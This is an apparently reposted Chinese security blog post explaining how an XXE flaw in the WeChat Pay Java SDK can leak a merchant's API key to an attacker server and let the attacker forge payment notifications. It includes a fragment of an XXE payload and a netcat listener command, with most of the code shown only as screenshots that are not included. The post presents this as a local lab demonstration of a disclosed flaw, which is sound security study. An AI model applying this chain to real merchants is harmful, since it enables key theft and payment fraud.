首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

微信支付SDK 0元购Hack思路分享

* 本文作者:zjie2O71,本文属FreeBuf原创奖励计划,未经许可禁止转载

PS:本文仅用于技术讨论与分享,严禁用于非法用途

前提:

之前有网友分享了微信支付SDK的XXE漏洞,语言版本为JAVA,有很多朋友问我0元购的hack思路,我查阅了一下微信支付的官方文档,配合简单的XXE做了一些攻击演示。

漏洞详情:

http://seclists.org/fulldisclosure/2018/Jul/3

SDK受影响版本下载地址:

漏洞代码位置:

xmlToMap函数。

漏洞代码:

引用位置:

查看SDK给的README.md说明,其中表示在支付结果的回掉接口notify_url处使用,内部调用截图如下:

这里在构建notifyMap对象的时候缺陷方法被调用。

为了更方便的理解演示场景,我们先在这里了解一下微信支付SDK处理支付结果的接口校验签名的过程:

尝试着追踪wxpay.isPayResultNotifySignatureValid(notifyMap),追踪到了最下面这个判断签名的函数,代码截图如下:

功能上注释已经说的很明确,我解释一下三个参数的意思,函数传递的data参数表示将外部传递来的xml数据转化为Map数据结构的对象,key是商户用来签名的API密钥,signType则表示签名的方式,为空则表示默认是md5的方式。这里是一个简单的签名校验函数,这里的关键在于key是商户定义的,而data和signType字段则都可以人为控制,所以在我构建的攻击场景里需要人为的去读取配置文件里的key值。

本地场景搭建:

打开看一下MyConfig.java的内容,其实是继承了WXPayConfig类,写上需要实现抽象方法即可。

main.java类里面是模拟写了一次业务逻辑的函数,下面的notifyData参数就是模拟外部传入的脏数据,如下图:

在根目录下新建演示文件,里面模拟写入key值,如下图:

利用微信的XXE漏洞:

这里我放上几篇XXE漏洞利用的博客,写的蛮好的,这个环节有困难的同学可以看看。

http://www.freebuf.com/articles/web/97833.html

http://blog.leanote.com/post/xuxi/XXE%E6%80%BB%E7%BB%93

https://www.xuehua.us/2018/04/13/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%88%A9%E7%94%A8blind-oob-xxe%E6%BC%8F%E6%B4%9E%E8%8E%B7%E5%8F%96%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F%E8%AE%BF%E9%97%AE%E6%9D%83%E9%99%90%E7%9A%84%E6%B5%8B%E8%AF%95/

类似的基础教程有很多,有不理解的可以去网上搜搜看。

微信的XXE漏洞,利用流程链表如下:

向商户的notify_url接口发送dtd脏数据,商户服务器加载远程dtd文件,商户服务器将key值发送至attack服务器。

这里我分成了三步,我们分批次看一下:

第一步:

构造的恶意XXE数据,如下:

%remote;%all;%send;]>1

代码块如下图所示:

第二步:

远程的dtd文件内容如下:

第三步:

在publicserver上监听8001端口,观察读到的key.txt的值。

指令:nc –v –l 8001

运行结果如下图:

上图中可以看到GET的路径处,我在这里回显读取到的key.txt的值,this is key value!

构造微信返回值:

返回值的构造参考微信给出的字段解释:

示例构造如下图所示:

读取到key之后,我们在本地模拟将数据转化成Map对象与key值进行加密,加密方式不写则默认为md5,就达到了欺骗的效果。

结尾:

漏洞本身只是很简单的XXE漏洞造成的任意文件读取,因为漏洞所处的关键业务点使得造成的损失巨大,但是由于notify_url的使用过程中客户全程并不参与,所以在我看来notify_url的获取方式是该漏洞破坏性的瓶颈。

* 本文作者:zjie2O71,本文属FreeBuf原创奖励计划,未经许可禁止转载

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180709B18LBR00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券